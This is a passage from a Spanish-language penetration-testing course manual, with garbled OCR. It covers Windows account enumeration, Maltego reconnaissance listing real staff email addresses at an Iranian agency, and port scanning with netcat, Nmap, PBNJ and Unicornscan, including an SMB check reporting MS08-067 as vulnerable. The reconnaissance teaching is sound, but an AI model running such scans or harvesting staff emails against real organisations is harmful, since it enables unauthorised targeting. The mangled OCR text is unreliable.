Guest (501)/Full Name:

IUSR_WIN2KSP4 (1003)/Enabled: true
IUSR_WIN2KSP4 (1003)/PWD Must Change: Infinity
IUSR_WIN2KSP4 (1003)/Grou  pid: 513
IUSR_WIN2KSP4 (1003)/Bad pwd count: 0
IUSR_WIN2KSP4 (1003)/Logon count: 0

IUSR_WIN2KSP4 (1003)/Profile:

IUSR_WIN2KSP4 (1003)/Comment: Built - in account for anonymous access to IIS

IUSR_WIN2KSP4 (1003)/Logon hours: Unlimited
IUSR_WIN2KSP4 (1003)/Workstations:

IUSR_WIN2KSP4 (1003)/Description: Built - in account for IS
IUSR_WIN2KSP4 (1003)/Parameters:

IUSR_WIN2KSP4 (1003)/Script:

IUSR_WIN2KSP4 (1003)/Home Drive:

IUSR_WIN2KSP4 (1003)/Account Name: IUSR_WIN2KSP4
IUSR_WIN2KSP4 (1003)/Home:

IUSR_WIN2KSP4 (1003)/Full Name: Internet Guest Account
IWAM_WIN2KSP4 (1004)/Enabled: true

IWAM_WIN2KSP4 (1004)/PWD Must Change: Infinity
IWAM_WIN2KSP4 (1004)/Group id: 513

IWAM_WIN2KSP4 (1004)/Bad pwd count: 0

IWAM_WIN2KSP4 (1004)/Logon count: O

IWAM_WIN2KSP4 (1004)/Profile:

IWAM_WIN2KSP4 (1004)/Comment: Built - in account for IS

IWAM_WIN2KSP4 (1004)/Logon hours: Unlimited

okl
a " @BackTrackAcadem

‘* fb/BackTrackAcademy




Paginal 94?

IWAM_WIN2KSP4 (1004)/Workstations:

IWAM_WIN2KSP4 (1004)/Description: Built - in account for IIS
IWAM_WIN2KSP4 (1004)/Paramet  ers:

IWAM_WIN2KSP4 (1004)/Script:

IWAM_WIN2KSP4 (1004)/Home Drive:

IWAM_WIN2KSP4 (1004)/Account Name: IWAM_WIN2KSP4

IWAM_WIN2KSP4 (1004)/Home:

IWAM_WIN2KSP4 (1004)/Full Name: Launch 1IS Process Account

NetShowServices (1001)/Enabled: true

NetShowServices (1001)/PWD Must Change: Infinity

NetShowServices (1001)/Group id: 513

NetShowServices (1001)/Bad pwd count: O

NetShowServices (1001)/Logon count: 36

NetShowServices (1001)/Profile:

NetShowServices (1001)/Comment: Windows Media services run under this account
NetShowServices (1001)/Logon hours: Unlimited

NetShowServices (1001)/Workstations:

NetShowServices (1001)/Description: Windows Media services run under this account
NetShowServices (1001)/Parameters:

NetShowServices  (1001)/Script:

NetShowServices (1001)/Home Drive:

NetShowServices (1001)/Account Name: NetShowServices

NetShowServices (1001)/Home:

NetShowServices (1001)/Full Name: Windows Media Services run under this account
TsInternetUser (1000)/Enabled: true

TsInternetUser (1000)/PWD Must Change: Infinity

TsInternetUser (1000)/Group id: 513

TsInternetUser (1000)/Bad pwd count: O

TsinternetUser (1000)/Logon count: O

TsInternetUser (1000)/Profile:

TsInternetUser (1000)/Comment:
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TsinternetUser (1000)/Logon hours: Unlimited

TsinternetUser (1000)/Workstations:

TsInternetUser (1000)/Description: This user account is used by Terminal
Services.

TsInternetUser (1000)/Parameters:

TsinternetUser (1000)/Script:

TsinternetUser (1000)/Home Drive:

TsinternetUser (1000)/Account Name: TsInternetUser
TsinternetUser (1000)/Home:

TsinternetUser (1000)/Full Name: TsInternetUser

Received 6 entries.
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Maltego es una herramienta deecopilacion de inteligenci@omercialcreado por Paterva
(http://www.paterva.com/web5/) Maltego utilizarecursos abiertogle Internet parareuniry
correlacionar informacion a través dena simple interfazGUl.BackTraclkcontiene una version
Community Editionfuncional deMaltego, que puede simplificar yayudaren lafase de
recopilacion deinformacion.La ventaja de utilizandd/laltego sobre otrasherramientas
similaresde recopilacion de informaciores queMaltego también mostrara

relaciones entre las entidadegue no resulte evidente do contrario.La Communiy Editionde
Maltego restringelas transformacionegue se ejecutan emrmdultiples entidadesy no permite

guardar o exportar resultados

Para demostrar Idlexibilidadde Maltego, trate detrazar lasinfraestructuras socialeglas redes

de la AEOIUsted sea capaz de comparar lgproduccion de médulos previosa la salidade

Maltego.

3.5.1Infraestructura de red
Mediante el uso dela entidad de dominiocomo punto de partidg usted puededescubrir los
NS yMX registros de su de destinpasi comointentar unatransferencia de zona.

100
P_‘d All »
el Document/Files »
DomainExpand b
CetDNSNames P Allinthis set
GetDNSNames (ex NS/MX) »| T4 DNS Name [Brute] CE TAS
oy CetEmailAddresses »| ToDNS Name [ZoneTransfer] CET4AS
Ei WhoisIinfoForDomain P To MXrecord [DNS] CETAS

emailserver.agoi.org

All Transforms

About the Domain entity

To Website [quick lookup] CETAS
]

To NS record [DNS] CETAS

100

ns2.aeoi.org.ir
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Maltego tiene deteccion de redesmucho mastransformacomo la recoleccion denetadatos de
documentos,SMTPverificacién de correo electrénicy mucho mas

3.5.2Infraestructura Social

Uso de laentidad mismo dominio,ahora usarétransformaligeramente diferentegpara recopilar
informacion

sobre la distribuciérsocial dela organizacion Esto incluyda identificacion delos individuosy
la recolecciondtil

informacion acerca de ellgdales como:

AMensajes de correo electronicalirecciones

AcCurriculosjos documentos generados

A Si t idedestiwepnrecen el, intereseso pasatiempos

A Ilnformaci - n

Maltego le permiteobtener dicha informaciéncon facilidadmediante el uso demedios de
comunicacion sociase transformacomo el correo electronico

transformacionede verificaciény las blusquedas d&keapleafTechnochratiy asi

sucesivamente.
4 4 = 4
ta&nas@aeoi.org.ir smohabati@
‘aeoi.org.ir maharib@aeoi.org.ir
4 4
mtims @aeoi.org.ir mtaheri@a
4 4
mghannadi@aeoi.org.ir mgandomkar
=
hmiranmanes
100
&
sk WWW.aeoi.org.ir 200 100 —
B ]
www.iaea.org www.inderscience.com
-
[«] ' Il | [»]
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Trate de usaMaltego a enumerar unaorganizacioéno sociedad objetivo Ten cuidado con lo
gue haga cliccomo aunqueMaltego utiliza 'todigo abierto” la informacionalgunos plugins
pueden serusuitablepara su usod como la 'VerifyerEmait plugin, que enviacorreos
electronicosa personasrealespara verificar suireccion!
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4. Médulo 4: PortScanning

vision deconjunto
Este modulointroduce al alumno erel tema de lospuertos TCP y UDREe exploracion.

Objetivos del moédulo

Al final deeste médulo, elestudiante debe:

1. Sercapazrun inteligentepuerto TCP y UDRinalizacon las herramientas disponiblesn
BackTrack.

2. Ser capaz dedentificar y evitar losrrores comunegie escaneode puertos.

3. Ser capaz de utilizaenvoltorios deNmap para registrar los datogscaneados aMySQL.
4. Poseerconocimientos basicoslel motor de Nmap NSEscripting.

Vadke i
P ' @BackTrackAcadem ‘* fb/BackTrackAcademy




Paginal 100 i
4.1 Conceptos basicosle escaneode puerto TCP

La teoria detras depuerto TCPexploraciénse basa erel protocolo de enlacede tres viasTCP
EITCPRFCestadosque cuando unSYN es enviad@ un puerto abiertg un ACKdebe ser
enviado de vueltaAsique el procesode escaneo de puertosonsiste en tratar deestablecerun
acuerdo de tres viason puertosindicados.Si ellos respondely continuar con elapretén de
manos,el puerto esta abierto de lo contrario, unRSTse envia de vuelta

En un moduloanterior le miré Netcaty examindsu capacidad pardeery escribir enlos puertos
TCP.En hecho,Netcat se puede utilizar comaun escaner de puertosimples también.

La siguiente sintaxise utiliza para realizaun escaneo de puertosisandoNetcat Vas a
escanearlos puertos24-26 en 192.168.0.10

root@bt:~# nc -vv -z -w2192.168.0.10 24 -26
192.168.0.10: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.0.10] 26 (?) : Connection refused
(UNKNOWN) [192.168.0.10] 25 (smtp) open
(UNKNOWN)[192.168.0.10] 24 (?) : Connection refused

root@bt:~#

Mira en el basureroWiresharkgque se generodebido a esteandlisis:

vl
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4.2 Conceptos basicosle escanecUDPPort

Dado que UDPes sin supervisiéy no implicaun acuerdo de tres viasel mecanismaletrasdel
puerto UDPescaneadoes diferente.Trate de usatWiresharkmientras queUDPescanear una
maquina de laboratoriopara comprender laforma en el puerto UDPescaneatrabajo.

4.3 Dificultadesde escaneo de puertos

-El puerto UDRexploracionsuele ser poco fiablgorque los paquetedCMP sesuelecaer por
los cortafuegosy losrouters Esto puededar lugar afalsos positivos eta exploraciony en
general se verescaneael puerto UDPque muestratodos los puertos UDRabiertos en wna
magquinaescaneadaPor favor,ser conscientes de ello

- La mayoria de loexploradores de puertosio analizantodos los puertos disponibley por lo
general tienenuna lista preestablecida dé&nteresante
puertos 'gue se escanean.

- A menudo la gentese olvide debuscar losserviciosUDP,y basarse solamente efiCR lo que
podriaver sélo la mitadde la ecuacion.

4,4ANmap
Nmap esprobablemente uno de losanalizadores de puertosnas completashasta la fechakn
cuanto a lautilizacion deNmap puede serintimidante al principio. Sin embargq una vez que
usted comience a escanearapidamentese acostumbraran da sintaxisEnBackTracklos
archivos de configuraciérde Nmap (tales comola lista predeterminadale escaneo de puertos
se encuentran en usr/ local / share /nmap/.

Tenga en cuenta queuando se ejecutdNmap como usuarioroot, por defectose asumen
determinados(SYNscans por ejemplo).
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Comienza conun escaneo de puertosencilloen 192.168.0.110Tenga en cuentegue la
ejecucion deesta exploraciorcomo usuarioroot esrealmenteequivalente a ejecutanmap-sS
192.168.0.110

root@bt:~# nmap 192.168.0.110
Starting Nmap 5.21 ( http://www.insecure.org/nmap/ ) at 2010 - 10- 28 16:24 GMT
Interesting ports on 192.168.0.110:
Not shown: 1664 closed ports
PORT STATE SERVICE

21/tcp open ftp

25/tcp open smtp

80/tcp open http

119/tcp open nntp

135/tcp open msrpc

139/tcp open netbios -ssn
443/tcp open https

445/tcp open microsoft -ds

563/tcp open snews

7007/tcp open afs3 - bos
MAC Address: 00:0C:29:C6:B3:23 (VMware)
Nmap finished: 1 IP address (1 host up) scanned in 1.524 seconds

root@bt:~#

La exploraciorde relieve los numerosopuertos abiertos enl92.168.0.110pero son éstos
todos los puertosabiertos en estanaquina?
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A continuacion, intentepuerto escaneo de todos lopuertos disponiblesen este equipo
especificando explicitament®s puertos aseranalizados:

root@bt:~# nmap -p 1l -65535192.168.0.110
Starting Nmap 5.21 ( http://www.insecure.org/nmap/ ) at 2010 -10-28 16:28 GMT
Interesting ports on 192.168.0.110:

Not shown: 65517 closed ports

PORT STATE SERVICE

21/tcp open ftp

25/tcp open smtp

80/tcp open http

119/tcp open nntp

135/tcp open msrpc

139/tcp open netbios -ssn

443/tcp open https

445/tcp open microsoft - ds

563/tcp open snews

7007/tcp open afs3 - bos

8328/tcp open unknown

30001/tcp open unknown

50203/tcp open unknown

MAC Address: 00:0C:29:C6:B3:23 (VMware)

Nmap finished: 1 IP address (1 host up) scanned in 3.627 seconds

root@bt:~#

Observecdémo se hadescubiertoque algunos puertosgue no fueronanalizadosinicialmente
porque no sonpresentes erel archivo deconfiguraciénpor defecto Nmap puerto (/ usr/ local
/ share /nmap / nmap-services).
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En lugar deescanear unaola maquinapara todos los puertosescaneatodas las maquinasle

un puerto (139). Este

ejemplo podriaser Gtilpara identificar a tododos equipos que ejecutaiNetBIOS SMB

Servicios:

root@bt:~# nmap -p 139 192.168.0.*

Starting Nmap 5.21 ( http://mww.insecure.org/nmap/ ) at 2010 - 10- 28 16:48 GMT

Interesting ports on 192.168.0.1:

PORT STATE SERVICE

139/tcp open netbios -ssn

MAC Address: 00:50:04:70:E9:D4 (3com)
Interesting ports on 192.168.0.3:

PORT STATE SERVICE

139/tcp open netbios -ssn

MAC Address: 00:14:85:24:2B:15 (Giga
Interesting ports on 192.168.0.10:

PORT STATE SERVICE

139/tcp closed netbios - ssn

MAC Address: 00:0D:61:43:45:46 (Giga
Interesting ports on 192.168.0.75:

PORT STATE SERVICE

139/tcp open netbios - ssn

MAC Address: 00:0C:29:BC:09:A4 (VMware)
Interesting ports on 192.168.0.110:
PORT STATE SERVICE

139/tcp open netbios - ssn

MAC Address: 00:0C:29:C6:B3:23 (VMware)
Interesting ports on 192.168.0.143:
PORT STATE SERVICE

139/tcp  closed netbios - ssn

Interesting ports on 192.168.0.157:
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PORT STATE SERVICE
139/tcp open netbios - ssn
MAC Address: 00:0C:29:41:40:45 (VMware)

Nmap finished: 256 IP addresses (7 hosts up) scanned in 17.842 seconds

root@bt:~#

Elanalisis se ha completadero se ve quela salida noes un guibnamable.Nmap soporta
variosformatos de salidalUno de misfavoritos es eformato greppable (-OG):

root@bt:~# nmap -p 139 192.168.0.* - 0G 139.txt

root@bt:~#  cat 139.txt

Nmap 4.50 scan initiated Sat Oct 28 16:49:37 2006 as: Nmap -p139 -0G 139.txt
192.168.0.*

Host: 192.168.0.1 () Ports: 139/open/tcp//netbios -ssn/ll

Host: 192.168.0.3 () Ports: 139/open/tcp//netbios -ssn/ll

Host: 192.168.0.10 () Ports: 139/closed/tcp//net bios - ssn/l/

Host: 192.168.0.75 () Ports: 139/open/tcp//netbios - ssn/ll

Host: 192.168.0.110 () Ports: 139/open/tcp//netbios -ssn/ll

Host: 192.168.0.143 () Ports: 139/closed/tcp//netbios - ssnlll

Host: 192.168.0.157 () Ports: 139/open/tcp//netbios - ssnlll

Nrap run completed -- 256 IP addresses (7 hosts up) scanned in 17.646 seconds
root@bt:~#  cat 139.txt |grep open |cut -d'" -f2

192.168.0.1

192.168.0.3

192.168.0.75

192.168.0.110
192.168.0.157

root@bt:~#

Usted ha encontrado varias direcciones IP cehpuerto 139 abierto. ¢ Todavia no lo
sabemos, sin embargo, qusistemas operativos estan presentes en estas direcciones IP.
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Nmap tiene una caracteristica maravillosa que se llama OS fingerprinti@.(Esta
funcion intenta adivnar el subyacente sistema operativo mediante la inspeccion de los
paquetes recibidos de la maquina. Pues resulta qeada proveedor implementa la pila
TCP / IP de forma ligeramente diferente (por defecto los valores TTL, tamafio de las

ventanas), y estadiferencias crean una huella casi Unico:

root@bt:~# nmap -0 192.168.0.1

Starting Nmap 5.21 ( http://www.insecure.org/nmap/ ) at 2010
Interesting ports on 192.168.0.1:

Not shown: 1674 closed ports

PORT STATE SERVICE

21/tcp open ftp

135/tcp open msrpc

139/tcp open netbios -ssn

445/tcp open microsoft -ds

1025/tcp open NFS  -or - 1IS

3389/tcpopenms - term - serv

MAC Address: 00:50:04:70:E9:D4 (3com)

Device type: general purpose

Running: Microsoft Windows 2003/.NET

OS details: Microsoft Windows 2003 Server SP1
Nmap finished: 1 IP address (1 host up) scanned in 16.522 seconds

root@bt:~#

-10-28 17:00 GMT

Usted veque 192.168.0.% s la magprobable, posiblementecon WindowsWindows 2003Server
SP1 Desafortunadamenteesta caracteristica gsdaviaun buggy poco mas deeliminar los

enlacesVPNy no funcionacomo se espera en
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4.4.3BannerGrabbing Enumeracion Servicio
Nmap también puede ayudar a@dentificar los servicioen los puertosespecificos pobandera
agarrary corrervariossecuencias deomandosde enumeracion(-sVy A-):

root@bt:~# nmap -sV 192.168.182.129

Starting Nmap 5.21 ( http://nmap.org ) at 2010 -03-1112:12 EST

Host is up (0.00021s latency).

Not shown: 994 closed ports

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.2.14 ((Win32) DAV/2 mod_autoindex_color
PHP/5.3.1)

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios -ssn

445/tcp open microsoft - ds Microsoft Windows XP microsoft -ds
3306/tcp open mysqgl MySQL (unauthorized)

3389/tcp open microsoft - rdp Microsoft Terminal Service

MAC Address: 00:0C:29:CB:F2:D3 (VMware)

Service Info: OS: Windows

Service detection performed. Please report any incorrect results at
http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up ) scanned in 9.45 seconds
root@bt:~# nmap - A 192.168.182.129

Starting Nmap 5.20 ( http://nmap.org ) at 2010 -03-1112:12 EST
PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.2.14 ((Win32) DAV/2 mod_autoindex_color
PHP/5.3.1)

|_html - title: Offensive Security

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios - ssn

445/tcp open microsoft - ds Microsoft Windows XP microsoft -ds
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3306/tcp open mysgl MySQL (unauthorized)

3389/tcp open microsoft - rdp Microsoft Terminal Service

MAC Address: 00:0C:29:CB:F2:D3 (VMware)

Device type: general purpose

Running: Microsoft Windows XP|2003

OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003
Network Distance: 1 hop

Service Info: OS: Windows

Host script results:

|_nbstat: NetBIOS name: XP - LAB- 00, NetBIOS user: <unknown>, NetBIOS MAC:
00:0c:29:ch:f2:d3

|_smbv2 - enabled: Server doesn't support SMBv2 protocol

| smb - os- discovery:

| OS: Windows XP (Windows 2000 LAN Manager)

| Name: WORKGROUR XP- LAB- 00

|_System time: 2010 -03-1112:12:53 UTC+2

HOP RTT ADDRESS

10.25 ms 192.168.182.129

OS and Service detection performed. Please report any incorrect results at
http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 20.84 seconds

root@bt:~#
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4.4.ANmap ScriptingEngine

EINmap ScriptingEngine NSE) es una adicioreciente aNmap que permite a los usuarios
escribirscripts simples para automatizama amplia variedad ddareas de red Lassecuencias
de comandos incluyeruna ampliavariedad de utilidadesdesde DNSguionesenumeracion,
ataque de fuerzabruta guiones e inclusosecuencias de comandode vulnerabilidadde
identificacion.Una listade estos scriptse pueden encontrar erel directorio / usr/ local / share
/ nmap/ scrpts:

root@bt:~# locate *.nse

/usr/share/nmap/scripts/asn - query.nse
lusr/local/share/nmap/scripts/auth - owners.nse
lusr/local/share/nmap/scripts/auth - spoof.nse

/usr/local/share/nmap/scripts/banner.nse

lusr/local/share/nmap/scripts/smb - brute.nse
lusr/local/share/nmap/scripts/smb - check - vulns.nse
lusr/local/share/nmap/scripts/smb - enum- domains.nse
lusr/local/share/nmap/scripts/smb - enum- groups.nse
lusr/local/share/nmap/scripts/smb - enum- processes.nse
lusr/local/share/nmap/scripts/smb - enum- sessions.n  se
lusr/local/share/nmap/scripts/smb - enum- shares.nse
lusr/local/share/nmap/scripts/smb - enum- users.nse
lusr/local/share/nmap/scripts/smb - 0s - discovery.nse
lusr/local/share/nmap/scripts/smb - psexec.nse
lusr/local/share/nmap/scripts/smb - security - mode.nse
lusr/local/share/nmap/scripts/smb - server - stats.nse
lusr/local/share/nmap/scripts/smb - system - info.nse
lusr/local/share/nmap/scripts/smbv2 - enabled.nse
lusr/local/share/nmap/scripts/smtp - commands.nse
lusr/local/share/nmap/scripts/smtp - open- relay.nse

Jusr /local/share/nmap/scripts/smtp - strangeport.nse
lusr/local/share/nmap/scripts/sniffer - detect.nse

ol ¢
P ‘ @BackTrackAcadem ‘* fb/BackTrackAcademy




Paginal] 110>§

lusr/local/share/nmap/scripts/snmp - brute.nse
lusr/local/share/nmap/scripts/snmp - sysdescr.nse
lusr/local/share/nmap/scripts/socks - open - proxy.nse
lusr/local/share/nmap/scripts/sql - injection.nse
lusr/local/share/nmap/scripts/ssh - hostkey.nse

/usr/local/share/nmap/scripts/sshvl.nse
/usr/local/share/nmap/scripts/ssl - cert.nse
/usr/local/share/nmap/scripts/ssiv2.nse
lusr/local/share/nmap/scripts/teln et - brute.nse
lusr/local/share/nmap/scripts/upnp - info.nse
/usr/local/share/nmap/scripts/whois.nse
/usr/local/share/nmap/scripts/x11 - access.nse

root@bt:~#

Losguiones contienendescripcion ensu codigo fuente, que también tieneejemplos de uso

root@bt.~# nmap 192.168.11.221 -- scriptsmb - enum- users.nse
Starting Nmap 5.21 ( http://nmap.org ) at 2010 -03-1112:35 EST
NSE: Script Scanning completed.

Nmap scan report for 192.168.11.221

135/tcp open msrpc
139/tcp open netbios - ssn
389/tcp  open Idap

445/tcp open microsoft -ds

MAC Address: 00:50:56:BC:57:D9 (VMware)
Host script results:

| smb - enum- users:

| OFFSECLABS\ Administrator (RID: 500)

| OFFSECLABS\ BOB$ (RID: 1104)

| OFFSECLABS\ Guest (RID: 501)

| OFFSECLABS\ GUESTSS$ (RID:  1112)
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| OFFSECLABS\ IUSR_WIN- HS8GZGTAPBH (RID: 1105)

| OFFSECLABS\ krbtgt (RID: 502)

| OFFSECLABS\ nina (RID: 1110)

| OFFSECLABS\ OFFSEG Z4ZXVOTK$ (RID: 1111)

|_ OFFSECLABS\ WIN- HS8GZGTAPBHS (RID: 1000)
Nmap done: 1 IP address (1 host up) scanned in 6.72
root@bt:~# nmap 192.168.11.221 -- script smb

Starting Nmap 5.21 ( http://nmap.org ) at 2010

NSE: Script Scanning completed.

Nmap scan report for 192.168.11.221

135/tcp open msrpc

139/tcp open netbios -ssn
389/tcp open Idap

445/tcp open microsoft -ds
464/tcp open kpasswd5

593/tcp open http - rpc - epmap
636/tcp open Idapssl

1025/tcp open NFS - or - IS
1027/tcp open IS

1041/tcp open unknown

MAC Address: 00:50:56:BC:57:D9 (VMware)
Host script results:

| smb- check - vulns:

| MS08 - 067: VULNERABLE

| Conficker: Likely CLEAN

| regsve DoS: CHECK DISABLED (add '

seconds
- check - vulns.nse

-03-1112:36 EST

- args=unsafe=1'to run)

|_ SMBv2 DoS (CVE - 2009 - 3103): CHECK DISABLED (add " -- script - args=unsafe=1'to
run)
Nmap done: 1 IP address (1 host up) scanned in 2.55 seconds
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root@bt:~#

Nmap tiene docenas deopciones deotros usosse toman el tiempopara revisar yponerlas en
practica enlos laboratorios.

4,5PBNJ

Segun lo descrito poisus autoresPBNJes una suitede herramientas paranonitorear los
cambiosen una redcon el tiempo.PBNJmonitores delos cambiosde la comprobacién delos
cambios enlos equipos de destinpque incluyelos detalles sobre

los serviciogjue se ejecutan erellos, asi comeal estado del servicioPBNJanalizalos datosde
los analisisle Nmapy la almacena eruna base de datosMySQL

Registro delos resultadosdie Nmap en una base de datodMySQLtiene varias ventajgs
especialmente cuando el nUmerde hostsescaneadoses grande Configure rapidamentda
base de datosMySQ yempezarcon un analisisesion:

root@bt:~#  /etc/init.d/mysql start

Starting MySQL database server: mysqld.

Checking for corrupt, not cleanly closed and upgrade needing tables.

root@bt:~# netstat - antp |grep 3306

tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 13045/mysgld

root@bt:~# mysgl -uroot - ptoor

Welcome to the MySQL monitor. Commands end with ; or \g.

Your MySQL connection id is 28

Server version: 5.0.67 - Oubuntu6 (Ubuntu)

Type 'help;' or' \ h' for help. Type' \ c' to clear the buffer.

mysql> CREATE DATABASE pbnj;

Query OK, 1 row affected (0.00 sec)

mysgl>  exit

Bye

root@bt:~# mkdir - p /root/.pbnj -2.0
root@bt:~# cd /root/.pbnj -2.0

root@bt:~# cp /usr/share/doc/pbnj/examples/mysql.yaml config.yaml

root@bt:~# nano config.yaml
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Configure elarchivoYAMLPBNJcon los detalles dda base de datos

# YAML:1.0
# Config for connecting to a DBI database
# SQLite, mysql etc

db: mysql

# for SQLite the name of the file. For mysqgl the name of the database.

database: pbnj

# Username for the database. For SQLite no username is needed.

user: root

# Password for the database. For SQLite no password is needed.

passwd: toor

# Password for the database. For SQLite no host is needed.

host: localhost
# Port for the database. For SQLite no port

port: 3306

Y empieza con un barrido de ping simple:

root@bt:~#  scanpbnj -a" -sP"192.168.11.200

Starting Scan of 192.168.11.245
Inserting Machine

Scan Complete for 192.168.11.245

Starting Scan of 192.168.11.201
Inserting Machine

Scan Complete for 192.168.11.201

<Rl
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Consultar labase de datosMySQLpara las maquinagncontradas
root@bt:~# mysqgl -u root - ptoor

Welcome to the MySQL monitor. Commands end with ; or \g.

Your MySQL connection id is 34

Server version: 5.0.67 - Oubuntu6 (Ubuntu)

Type 'help;' or' \ h' for help. Type' \ ¢'to clear the buffer.

mysql> use pbnj;

Reading table information for completion of table and column names

You can turn off this feature to get a quicker startup with -A
Database changed

mysql> show tables;

| machines |

| services |

2rows in set (0.00 sec)
mysql> select * from services;
Empty set (0.00 sec)

mysql> select * from machines;

. R —— + + R — e +

. R —— + + R — e +

| 1]192.168.11.245 | 0 | O | unknown os | 1268331738 | Thu Mar 11 13:22:18 2010

| 2]192.168.11.201 | 0 | O | unknown os | 1268331738 | Thu Mar 11 13:22:18 2010

| 49 | 192.168.11.223 | 0 | O | unknown os | 1268331738 | Thu Mar 11 13:22:18

2010 |

| 50 | 192.168.11.222 | 0 | O | unknown os | 1268331738 | Thu Mar 11 13:22:18
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2010 |

| 51| 192.168.11.235 | 0 | O | unknown os | 1268331738 | Thu Mar 11 13:22:18
2010 |

N — S— + + B — N — +

51 rows in set (0.00 sec)
mysqgl>  exit

Bye

Descubres quda base de datos tienados tablas:maquinasy serviciosDebido a que sdlotenia
unamesa de ping barridono se registraronserviciospara cualquiera ddas maquinas.
Ahora trata deun barrido de la redde puerto 139

root@bt.~# scanpbnj -a" -p 139"192.168.11.200 - 250

Starting Scan of 192.168.11.245

Machine is already in the database

Checking Current Services

Inserting Service on 139:tcp netbios -ssn

Scan Complete for 192.168.11.245

Starting Scan of 192.168.11.235
Machine is already in the database
Checking Current Services

Scan Complete for 192.168.11.235

root@bt:~#
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Y una vez masevisarla base de datos:

root@bt:~# mysqgl -uroot - ptoor

Welcome to the MySQL monitor. Commands end with ; or \g.

Your MySQL connection id is 36

Server version: 5.0.67 - Oubuntu6 (Ubuntu)

Type 'help;' or' \ h' for help. Type' \ ¢'to clear the buffer.

mysql> use pbnj;

Reading table information for completion of table and column names

You can turn off this fea ture to get a quicker startup with -A
Database changed

mysql> select * from services;

B — f ——— B p— — B — [ S — N +

| mid | service | state | port | protocol | version | banner | machine_updated |

updated_on |
[ — [ ———— [ —— [ — [ —— S R +
| 1| netbios -ssn | up | 139 | tcp | unknown version | unknown product |

1268331850 | Thu Mar 11 13:24:10 2010 |

| 2 | netbios -ssn|up| 139 | tcp | unknow n version | unknown product |
1268331850 | Thu Mar 11 13:24:10 2010 |

| 7 | netbios -ssn | up | 139 | tcp | unknown version | unknown product |
1268331850 | Thu Mar 11 13:24:10 2010 |

| 20 | netbios -ssn | up | 139 | tcp | unknown version | unknown product |
1268331850 | Thu Mar 11 13:24:10 2010 |

| 21 | netbios -ssn | up | 139 | tcp | unknown version | unknown product |
1268331850 | Thu Mar 11 13:24:10 2010 |

| 46 | netbios -ssn|u p|139]|tcp | unknown version | unknown product |
1268331850 | Thu Mar 11 13:24:10 2010 |

| 45 | netbios -ssn | up | 139 | tcp | unknown version | unknown product |
1268331850 | Thu Mar 11 13:24:10 2010 |

| 49 | netbios -ssn | up | 139 | tcp | unknown version | unknown product |

1268331850 | Thu Mar 11 13:24:10 2010 |
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S N ——— E — S — R S — R +
8 rows in set (0.00 sec)

mysqgl>  exit
Bye

root@bt:~#

La base de datosMySQLse puede acceder facilmentatilizandoel script de salidgbnj:

root@bt:~#  outputpbnj - g latestinfo

Thu Mar 11 13:24:10 2010 0 netbios - ssn up unknown version tcp
Thu Mar 11 13:24:10 2010 0 netbios - ssn up unknown version tcp
Thu Mar 11 13:24:10 2010 0 netbios - ssn up unknown version tcp
Thu Mar 11 13:24:10 2010 0 netbios - ssn up unknown version tcp
Thu Mar 11 13:24:10 2010 0 netbios - ssn up unknown version tcp
Thu Mar 11 13:24:10 2010 0 netbios - ssn up unknown version tcp
Thu Mar 11 13:24:10 2010 0 nethios - ssn up unknown version tcp
Thu Mar 11 13:24:10 2010 0 netbios - ssn up unknown version tcp
root@bt:~#

A medida gue masinformacion se obtienede una maquina(como banners versionedel
sistema operativpetc), esafiadido alos campos pertinentes dda base de datos

Porque PBNJes un contenedor deNmap, no se recomiendapara ejecutar exploracionesandes
0 pesadoscon ellg sino queconstruirla base de datodentamente usandands cortos las
exploracionesmas especificas.
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4 6 Unicornscan

Unicornscares un intento deun usuariotierra distribuidapila TCP/ IP. Se tiene la intenciérde
proporcionar una investigadorcon una interfaz superiorpara la introducciéon deun estimulode
entrada ymedir la respuesta de unTCP/ IP o dispositivo habilitado paraed. Aunque en la
actualidadcuenta con cientos decaracteristicagmdividuales principalesconjunto de
capacidadesncluye:

- Escaneol CPasincronosin estadocon todas las variaciones dadicadores TCP
- Banderaasincrano sin estadoagarrandoTCP

- Asincronoespecifico del protocoldJDPexploracion

- Activo ypasivoremoto del sistema operativode la aplicacion.

- PCAParchivode registroy filtrado

- Salida debases de datos relacionales

- Soporte de médulospersonalizados

- Vistaspersonalizadagle datosde ajuste

Unicornscantambién se puede utilizar comaun escanersin estadomuy rapido. La principal
diferencia entreunicornscany otros escaneresales comoNmap es queUnicornscartiene su
propia pila TCF/ IP. Estapermite escaneade forma asincronaconun proceso de envioSYNsy
el hilo que recibalas respuestas

Una vez tuve queasignar todoslos servidoredHTTP enunared interna dela clase Bmas de
65.000direccioneslP espacio$ usandoUnicornscanCon Unicornscan este procesaduré
menos detres minutos.al igual que conNmap, Unicornscartiene informacién detallada de uso
gue puede ser leidanediante la emisién dda unicornscanh comando. (Tenga en cuenta que
Unicornscarnpuede no funcionar coninterfaces PPPos resultadosen el laboratoriovariar).

Saodki
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Pruebe con unescaneo de puertosencilla utilizanddJnicornscan

root@bt:~#  apt - get install unicornscan

root@bt:~#  us 192.168.0.110

TCP open ftp[ 21] from 192.168.0.110 ttl 128

TCP open smtp[ 25] from 192.168.0.110 ttl 128

TCP open http[ 80] from 192.168.0.110 ttl 128

TCP open nntp[ 119] from 192.168.0.110 ttl 128

TCP open epmap[ 135] from 192.168.0.110 ttl 128

TCP open netbios - ssn[ 139] from 192.168.0.110 ttl 128
TCP open https[ 44 3] from 192.168.0.110 ttl 128

TCP open microsoft - ds[ 445] from 192.168.0.110 ttl 128
TCP open nntps[ 563] from 192.168.0.110 ttl 128

TCP open blackjack| 1025] from 192.168.0.110 ttl 128

TCP open cap[ 1026] from 192.168.0.110 ttl 128

TCP open exosee[ 1027] from 192.168.0.110 ttl 128
TCP open ms - streaming[ 1755] from 192.168.0.110 ttl 128
TCP open unknown[ 6666] from 192.168.0.110 ttl 128

root@bt:~#

Ahora trata deuna exploracionde toda la reden el puerto 139

root@bt:~# us 192.168.0.0/24:139

TCP open netbios - ssn[ 139] from 192.168.0.1 ttl 128

TCP open netbios - ssn[ 139] from 192.168.0.3 ttl 128

TCP open netbios - ssn[ 139] from 192.168.0.75 ttl 128

